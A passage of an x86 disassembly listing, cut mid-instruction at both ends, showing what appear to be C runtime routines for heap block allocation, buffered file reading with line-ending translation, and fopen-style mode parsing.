sub_41E6FD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E7F2 mov ebx, edx loc_41E77B: ; CODE XREF: sub_41E6FD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E797 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E795 add ebx, 14h jmp short loc_41E77B ; --------------------------------------------------------------------------- loc_41E795: ; CODE XREF: sub_41E6FD+91j cmp ebx, eax loc_41E797: ; CODE XREF: sub_41E6FD+83j jnz short loc_41E7F2 loc_41E799: ; CODE XREF: sub_41E6FD+ADj cmp ebx, [ebp+var_4] jnb short loc_41E7AF cmp dword ptr [ebx+8], 0 jnz short loc_41E7AC add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E799 ; --------------------------------------------------------------------------- loc_41E7AC: ; CODE XREF: sub_41E6FD+A5j cmp ebx, [ebp+var_4] loc_41E7AF: ; CODE XREF: sub_41E6FD+9Fj jnz short loc_41E7D7 mov ebx, edx loc_41E7B3: ; CODE XREF: sub_41E6FD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E7C7 cmp dword ptr [ebx+8], 0 jnz short loc_41E7C5 add ebx, 14h jmp short loc_41E7B3 ; --------------------------------------------------------------------------- loc_41E7C5: ; CODE XREF: sub_41E6FD+C1j cmp ebx, eax loc_41E7C7: ; CODE XREF: sub_41E6FD+BBj jnz short loc_41E7D7 call sub_41EA06 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E7EB loc_41E7D7: ; CODE XREF: sub_41E6FD:loc_41E7AFj ; sub_41E6FD:loc_41E7C7j push ebx call sub_41EAB7 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E7F2 loc_41E7EB: ; CODE XREF: sub_41E6FD+D8j xor eax, eax jmp loc_41EA01 ; --------------------------------------------------------------------------- loc_41E7F2: ; CODE XREF: sub_41E6FD+7Aj ; sub_41E6FD:loc_41E797j ... mov dword_4E2B70, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E819 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E850 loc_41E819: ; CODE XREF: sub_41E6FD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E84D loc_41E836: ; CODE XREF: sub_41E6FD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E836 loc_41E84D: ; CODE XREF: sub_41E6FD+137j mov edx, [ebp+var_4] loc_41E850: ; CODE XREF: sub_41E6FD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E879 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E879: ; CODE XREF: sub_41E6FD+16Dj ; sub_41E6FD+183j test ecx, ecx jl short loc_41E882 shl ecx, 1 inc edi jmp short loc_41E879 ; --------------------------------------------------------------------------- loc_41E882: ; CODE XREF: sub_41E6FD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E89F push 3Fh pop esi loc_41E89F: ; CODE XREF: sub_41E6FD+19Dj cmp esi, edi jz loc_41E9B4 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E910 cmp edi, 20h jge short loc_41E8DF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E90D mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E910 ; --------------------------------------------------------------------------- loc_41E8DF: ; CODE XREF: sub_41E6FD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E90D mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E910 ; --------------------------------------------------------------------------- loc_41E90D: ; CODE XREF: sub_41E6FD+1D6j ; sub_41E6FD+203j mov ebx, [ebp+arg_0] loc_41E910: ; CODE XREF: sub_41E6FD+1B0j ; sub_41E6FD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E9C0 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E9B1 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E982 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E970 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E970: ; CODE XREF: sub_41E6FD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E9B1 ; --------------------------------------------------------------------------- loc_41E982: ; CODE XREF: sub_41E6FD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E99B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E99B: ; CODE XREF: sub_41E6FD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E9B1: ; CODE XREF: sub_41E6FD+24Ej ; sub_41E6FD+283j mov ecx, [ebp+var_8] loc_41E9B4: ; CODE XREF: sub_41E6FD+1A4j test ecx, ecx jz short loc_41E9C3 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E9C3 ; --------------------------------------------------------------------------- loc_41E9C0: ; CODE XREF: sub_41E6FD+229j mov ecx, [ebp+var_8] loc_41E9C3: ; CODE XREF: sub_41E6FD+2B9j ; sub_41E6FD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E9F9 cmp ebx, dword_4E2B74 jnz short loc_41E9F9 mov ecx, [ebp+var_4] cmp ecx, dword_4E2B6C jnz short loc_41E9F9 and dword_4E2B74, 0 loc_41E9F9: ; CODE XREF: sub_41E6FD+2E0j ; sub_41E6FD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41EA01: ; CODE XREF: sub_41E6FD+F0j pop edi pop esi pop ebx leave retn sub_41E6FD endp ; =============== S U B R O U T I N E ======================================= sub_41EA06 proc near ; CODE XREF: sub_41E6FD+CCp mov eax, dword_4E2B78 mov ecx, dword_4E2B68 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41EA49 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4E2B7C push edi push dword_4E2B80 call dword_42719C ; RtlReAllocateHeap cmp eax, edi jz short loc_41EA99 add dword_4E2B68, 10h mov dword_4E2B7C, eax mov eax, dword_4E2B78 loc_41EA49: ; CODE XREF: sub_41EA06+11j mov ecx, dword_4E2B7C push 41C4h push 8 lea eax, [eax+eax*4] push dword_4E2B80 lea esi, [ecx+eax*4] call dword_427148 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_41EA99 push 4 push 2000h push 100000h push edi call dword_4271C4 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41EA9D push dword ptr [esi+10h] push edi push dword_4E2B80 call dword_427144 ; RtlFreeHeap loc_41EA99: ; CODE XREF: sub_41EA06+30j ; sub_41EA06+67j xor eax, eax jmp short loc_41EAB4 ; --------------------------------------------------------------------------- loc_41EA9D: ; CODE XREF: sub_41EA06+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4E2B78 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41EAB4: ; CODE XREF: sub_41EA06+95j pop edi pop esi retn sub_41EA06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EAB7 proc near ; CODE XREF: sub_41E6FD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41EAC9: ; CODE XREF: sub_41EAB7+19j test eax, eax jl short loc_41EAD2 shl eax, 1 inc ebx jmp short loc_41EAC9 ; --------------------------------------------------------------------------- loc_41EAD2: ; CODE XREF: sub_41EAB7+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EAE7: ; CODE XREF: sub_41EAB7+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EAE7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_4271C4 ; VirtualAlloc test eax, eax jnz short loc_41EB1A or eax, 0FFFFFFFFh jmp loc_41EBAD ; --------------------------------------------------------------------------- loc_41EB1A: ; CODE XREF: sub_41EAB7+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EB60 lea eax, [edi+10h] loc_41EB27: ; CODE XREF: sub_41EAB7+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EB27 loc_41EB60: ; CODE XREF: sub_41EAB7+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EB9D or [eax+4], edi loc_41EB9D: ; CODE XREF: sub_41EAB7+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EBAD: ; CODE XREF: sub_41EAB7+5Ej pop edi pop esi pop ebx leave retn sub_41EAB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EBB2 proc near ; CODE XREF: sub_41BA78+58p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41ED60 test bl, 1 jnz loc_41ED59 add ebx, ecx cmp esi, ebx jg loc_41ED59 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41EC29 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41EC29: ; CODE XREF: sub_41EBB2+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41EC79 cmp ecx, 20h jnb short loc_41EC55 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EC79 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EC79 ; --------------------------------------------------------------------------- loc_41EC55: ; CODE XREF: sub_41EBB2+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EC79 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EC79: ; CODE XREF: sub_41EBB2+7Dj ; sub_41EBB2+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41ED47 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41ECB3 push 3Fh pop edi loc_41ECB3: ; CODE XREF: sub_41EBB2+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41ED35 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41ED0C cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41ECFF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41ECFF: ; CODE XREF: sub_41EBB2+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41ED31 ; --------------------------------------------------------------------------- loc_41ED0C: ; CODE XREF: sub_41EBB2+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41ED22 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41ED22: ; CODE XREF: sub_41EBB2+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41ED31: ; CODE XREF: sub_41EBB2+158j shr edx, cl or [eax], edx loc_41ED35: ; CODE XREF: sub_41EBB2+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41ED4A ; --------------------------------------------------------------------------- loc_41ED47: ; CODE XREF: sub_41EBB2+E5j mov edx, [ebp+arg_4] loc_41ED4A: ; CODE XREF: sub_41EBB2+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41EEA0 ; --------------------------------------------------------------------------- loc_41ED59: ; CODE XREF: sub_41EBB2+52j ; sub_41EBB2+5Cj xor eax, eax jmp loc_41EEA3 ; --------------------------------------------------------------------------- loc_41ED60: ; CODE XREF: sub_41EBB2+49j jge loc_41EEA0 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41ED8B push 3Fh pop esi loc_41ED8B: ; CODE XREF: sub_41EBB2+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41EE1A mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EDA4 push 3Fh pop esi loc_41EDA4: ; CODE XREF: sub_41EBB2+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41EDF3 cmp esi, 20h jnb short loc_41EDCF mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41EDF0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EDF0 ; --------------------------------------------------------------------------- loc_41EDCF: ; CODE XREF: sub_41EBB2+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EDF0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EDF0: ; CODE XREF: sub_41EBB2+214j ; sub_41EBB2+21Bj ... mov ebx, [ebp+arg_4] loc_41EDF3: ; CODE XREF: sub_41EBB2+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EE1A push 3Fh pop esi loc_41EE1A: ; CODE XREF: sub_41EBB2+1DDj ; sub_41EBB2+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41EE97 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41EE6E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EE61 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41EE61: ; CODE XREF: sub_41EBB2+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41EE93 ; --------------------------------------------------------------------------- loc_41EE6E: ; CODE XREF: sub_41EBB2+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EE84 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41EE84: ; CODE XREF: sub_41EBB2+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41EE93: ; CODE XREF: sub_41EBB2+2BAj shr edx, cl or [eax], edx loc_41EE97: ; CODE XREF: sub_41EBB2+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41EEA0: ; CODE XREF: sub_41EBB2+1A2j ; sub_41EBB2:loc_41ED60j push 1 pop eax loc_41EEA3: ; CODE XREF: sub_41EBB2+1A9j pop edi pop esi pop ebx leave retn sub_41EBB2 endp ; =============== S U B R O U T I N E ======================================= sub_41EEA8 proc near ; CODE XREF: sub_41B990+A9p ; sub_41C1FF+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41EF7C test al, 40h jnz loc_41EF7C test al, 2 jz short loc_41EECE or al, 20h mov [esi+0Ch], eax jmp loc_41EF7C ; --------------------------------------------------------------------------- loc_41EECE: ; CODE XREF: sub_41EEA8+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41EEE2 push esi call sub_423852 pop ecx jmp short loc_41EEE7 ; --------------------------------------------------------------------------- loc_41EEE2: ; CODE XREF: sub_41EEA8+2Fj mov eax, [esi+8] mov [esi], eax loc_41EEE7: ; CODE XREF: sub_41EEA8+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41EF81 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41EF6B cmp eax, 0FFFFFFFFh jz short loc_41EF6B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41EF40 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41EF29 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4E1820[edi*4] lea edi, [edi+ecx*8] jmp short loc_41EF2E ; --------------------------------------------------------------------------- loc_41EF29: ; CODE XREF: sub_41EEA8+6Bj mov edi, offset dword_442E40 loc_41EF2E: ; CODE XREF: sub_41EEA8+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41EF40 or dh, 20h mov [esi+0Ch], edx loc_41EF40: ; CODE XREF: sub_41EEA8+62j ; sub_41EEA8+90j cmp dword ptr [esi+18h], 200h jnz short loc_41EF5D mov ecx, [esi+0Ch] test cl, 8 jz short loc_41EF5D test ch, 4 jnz short loc_41EF5D mov dword ptr [esi+18h], 1000h loc_41EF5D: ; CODE XREF: sub_41EEA8+9Fj ; sub_41EEA8+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41EF6B: ; CODE XREF: sub_41EEA8+55j ; sub_41EEA8+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41EF7C: ; CODE XREF: sub_41EEA8+Aj ; sub_41EEA8+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41EEA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF81 proc near ; CODE XREF: sub_41B990+90p ; sub_41EEA8+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4E1920 jnb loc_41F15E mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4E1820h[eax*4] mov eax, dword_4E1820[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F15E and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F036 test dl, 2 jnz short loc_41F036 test dl, 48h jz short loc_41EFF6 mov al, [eax+5] cmp al, 0Ah jz short loc_41EFF6 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41EFF6: ; CODE XREF: sub_41EF81+56j ; sub_41EF81+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_4270E8 ; ReadFile test eax, eax jnz short loc_41F049 call dword_42708C ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41F031 mov dword_4E14F8, 9 mov dword_4E14FC, ecx jmp loc_41F16F ; --------------------------------------------------------------------------- loc_41F031: ; CODE XREF: sub_41EF81+99j cmp eax, 6Dh jnz short loc_41F03D loc_41F036: ; CODE XREF: sub_41EF81+4Cj ; sub_41EF81+51j xor eax, eax jmp loc_41F172 ; --------------------------------------------------------------------------- loc_41F03D: ; CODE XREF: sub_41EF81+B3j push eax call sub_420244 pop ecx jmp loc_41F16F ; --------------------------------------------------------------------------- loc_41F049: ; CODE XREF: sub_41EF81+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F159 test edx, edx jz short loc_41F06E cmp byte ptr [edi], 0Ah jnz short loc_41F06E or al, 4 jmp short loc_41F070 ; --------------------------------------------------------------------------- loc_41F06E: ; CODE XREF: sub_41EF81+E2j ; sub_41EF81+E7j and al, 0FBh loc_41F070: ; CODE XREF: sub_41EF81+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F153 loc_41F088: ; CODE XREF: sub_41EF81+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F143 cmp al, 0Dh jz short loc_41F0A4 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F135 ; --------------------------------------------------------------------------- loc_41F0A4: ; CODE XREF: sub_41EF81+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F0C2 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F0B9 add [ebp+arg_8], 2 jmp short loc_41F117 ; --------------------------------------------------------------------------- loc_41F0B9: ; CODE XREF: sub_41EF81+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F135 ; --------------------------------------------------------------------------- loc_41F0C2: ; CODE XREF: sub_41EF81+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_4270E8 ; ReadFile test eax, eax jnz short loc_41F0EA call dword_42708C ; RtlGetLastWin32Error test eax, eax jnz short loc_41F131 loc_41F0EA: ; CODE XREF: sub_41EF81+15Dj cmp [ebp+var_C], 0 jz short loc_41F131 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F10C mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F117 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F135 ; --------------------------------------------------------------------------- loc_41F10C: ; CODE XREF: sub_41EF81+176j cmp edi, [ebp+arg_4] jnz short loc_41F11C cmp [ebp+var_1], 0Ah jnz short loc_41F11C loc_41F117: ; CODE XREF: sub_41EF81+136j ; sub_41EF81+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F134 ; --------------------------------------------------------------------------- loc_41F11C: ; CODE XREF: sub_41EF81+18Ej ; sub_41EF81+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42261C add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F135 loc_41F131: ; CODE XREF: sub_41EF81+167j ; sub_41EF81+16Dj mov byte ptr [edi], 0Dh loc_41F134: ; CODE XREF: sub_41EF81+199j inc edi loc_41F135: ; CODE XREF: sub_41EF81+11Ej ; sub_41EF81+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F088 jmp short loc_41F153 ; --------------------------------------------------------------------------- loc_41F143: ; CODE XREF: sub_41EF81+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F153 or al, 2 mov [esi], al loc_41F153: ; CODE XREF: sub_41EF81+101j ; sub_41EF81+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F159: ; CODE XREF: sub_41EF81+DAj mov eax, [ebp+var_8] jmp short loc_41F172 ; --------------------------------------------------------------------------- loc_41F15E: ; CODE XREF: sub_41EF81+12j ; sub_41EF81+39j and dword_4E14FC, 0 mov dword_4E14F8, 9 loc_41F16F: ; CODE XREF: sub_41EF81+ABj ; sub_41EF81+C3j or eax, 0FFFFFFFFh loc_41F172: ; CODE XREF: sub_41EF81+B7j ; sub_41EF81+1DBj pop edi pop esi pop ebx leave retn sub_41EF81 endp ; =============== S U B R O U T I N E ======================================= sub_41F177 proc near ; CODE XREF: sub_41BA78+106p ; sub_41BBDD+1Fp ... arg_0 = dword ptr 4 mov eax, dword_4E1574 test eax, eax jz short loc_41F18F push [esp+arg_0] call eax ; dword_4E1574 test eax, eax pop ecx jz short loc_41F18F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F18F: ; CODE XREF: sub_41F177+7j ; sub_41F177+12j xor eax, eax retn sub_41F177 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F192 proc near ; CODE XREF: sub_41BB98+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4E16E0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F1CB cmp al, 72h jz short loc_41F1C4 cmp al, 77h jnz loc_41F2DF mov ecx, 301h jmp short loc_41F1D0 ; --------------------------------------------------------------------------- loc_41F1C4: ; CODE XREF: sub_41F192+21j xor ecx, ecx or esi, 1 jmp short loc_41F1D3 ; --------------------------------------------------------------------------- loc_41F1CB: ; CODE XREF: sub_41F192+1Dj mov ecx, 109h loc_41F1D0: ; CODE XREF: sub_41F192+30j or esi, 2 loc_41F1D3: ; CODE XREF: sub_41F192+37j push 1 pop edx loc_41F1D6: ; CODE XREF: sub_41F192+8Bj ; sub_41F192+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F2C5 cmp edx, ebx jz loc_41F2C5 movsx eax, al cmp eax, 54h jg short loc_41F264 jz short 